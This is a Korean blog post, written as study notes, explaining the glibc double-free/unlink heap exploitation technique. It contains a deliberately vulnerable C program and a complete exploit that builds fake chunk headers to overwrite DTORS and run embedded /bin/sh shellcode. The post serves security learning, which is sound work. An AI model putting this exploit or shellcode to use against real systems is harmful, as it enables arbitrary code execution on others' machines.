y0u_bat

Double Free Bug Vulnerability 본문

System

Double Free Bug Vulnerability

유뱃 2017. 1. 9. 02:31

Double Free Bug Vulnerability

이문서에서는 double free bug 취약점에 대해서 간단하게 설명하고 있습니다.

공부하면서 작성하는것이기 때문에, 오류가 있을수 있음을 양해 바랍니다.

malloc_chunk
previous_size
index_size (P)
using_data_space

free_chunk
previous_size
index_size
fd
bk

index_size에서 P는 PREV_INUSE라고 불리며, 이것으로 chunk가 allocated 되어 있는지, 사용 안하고 있는지 나타냅니다.
1일경우 사용중, 0일경우 사용하지 않음을 알려줍니다. 여기서 0일때 free를 하면 unlink를 호출하여 병합 하게 됩니다.

Double free bug는 free에서 unlink를 호출하여 병합을 할때 발생하는 취약점 입니다.


Free 함수 내부
free 함수 내부의 일부부중 하나이다.

 
  if (!(inuse_bit_at_offset(next, nextsz)))   
  {
  /* free(p)의 다음청크가 top_chunk가 아닌 free_chunk 일때 동작 */
    sz += nextsz;
    if (!islr && next->fd == last_remainder(ar_ptr))
             /* re-insert last_remainder(top_chunk+8) */
    {
      islr = 1;
      link_last_remainder(ar_ptr, p);
    }
    else
      unlink(next, bck, fwd); /* double free bug ! */
    next = chunk_at_offset(p, sz);
  }
  else
    set_head(next, nextsz);         /* clear inuse bit */

free(p)의 다음청크가 free_chunk 경우 즉, 다음청크의 PREV_INUSE가 0으로 세팅 되어 있는 경우, 병합 과정이 일어난다.

현재 사이즈(sz)에서 다음 청크사이즈를 더 하고, unlink 함수를 통해 fd,bk 더블링크드 리스트를 정리해준다.

 
#define unlink(P, BK, FD)                                                     
{                                                                   
  BK = P->bk;                                                                 
  FD = P->fd;                                                                 
  FD->bk = BK;                                                                
  BK->fd = FD; 
                                                               
}     

p->fd->bk = p->bk

p->bk->fd = p->fd

이런식으로 치환 한다.

이부분으로 내가 원하는 부분에 원하는 값으로 덮어 씌울수있는 문제가 생긴다.

간단한게 설명하면, 다음청크의 PREV_INUSE를 0으로 setting하고, free하면, 병합을 하게 되어 unlink 함수가 호출된다.
현재청크의 fd를 덮고싶은 위치-12로 두고, 현재청크의 bk 위치에 덮고싶은 값으로 해주게 되면,

*p->fd + 12 = *p->bk 를 하기 때문에, 원하는위치에 원하는 값을 덮어줄수있다.

마찬가지로 *p->bk + 8 = *p->fd 가 되어, 현재청크 bk 값 +8한곳에 현재청크 fd값으로 덮어진다.


방법1. p->fd를 덮고 싶은 got-12로 두고, p->bk를 덮고싶은 값으로 두면, got overwrite를 할수있을것이다. 2. p->fd를 retaddr-12로 두고 bk에 shellcode 주소로 두면, 쉘코드를 실행시킬수있을것이다.

후자 방법을 했을때 주의할점은, bk에 shellcode 주소를 두었을때,

*bk+8부분에 *p->fd가 덮임으로 쉘코드가 중간에 깨지게 된다. 그러므로 jmp 0xa와 같은 opcode(""\xeb\x0a")를 잘 이용하여 쉘코드를 구성 시켜주면 된다.


Double free bug 취약점을 이용하여 exploit 하는 간단한 예제이다.


vul.c

 
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{

        char *m1, *m2;
        m1 = malloc(130);
        m2 = malloc(30);
        if ( argc< 2)
        { fprintf(stderr, "error args\n" ); exit(0); }
        strcpy( m1 , argv[1] );
        free(m1);
        free(m2);


}




exploit.c

 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static char shellcode[]=
"\xeb\x0a" //this jumps 10 bytes to the real shellcode
"xxxxxxOOOO" //the 'O's are overwritten
//normal aleph1 shellcode
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46"
"\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e"
"\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char *argv[])
{

        char buf[400];
        int *iptr; char *cptr;
        int i;

// buf(132) + size + fd + bk 
#define FAKEOFF 0xffffffff


        memset ( buf , '\x90', sizeof(buf) );
        iptr = (int*)buf ;
        iptr[0] = -0x10;
        iptr[1] = -0x10;
        cptr = (char*)&iptr[2];
        for ( i=0 ; i < strlen(shellcode) ; i++ ) {
                cptr[i] = shellcode[i];
        }

#define DTORS   0x08049674
#define SHELLOFF        0x080497a0
#define PREV_INUSE      0x01


        iptr = (int*)&buf[128];
        iptr[0] = -0x4 ;
        iptr[1] = -0x1 ;
        iptr[2] = (int)DTORS - (sizeof(int)*3);
        iptr[3] = (int)SHELLOFF;
        iptr[4] = 0;
        execl("./vul", "vul", buf, (char*)NULL );


}



Reference

[1] http://www.hackerschool.org/HS_Boards/data/Lib_system/doublefree.txt

[2] http://smleenull.tistory.com/586

'System' 카테고리의 다른 글

A case study of JavaScriptCore and CVE-2016-4622  (0) 2017.06.12
[how2heap] House of Spirit  (0) 2017.01.25
[heap] fastbin_dup_into_stack.c  (0) 2016.11.02
[heap] how2heap first_fit.c  (0) 2016.10.20
[heap] fastbin fd control  (2) 2016.10.07
Comments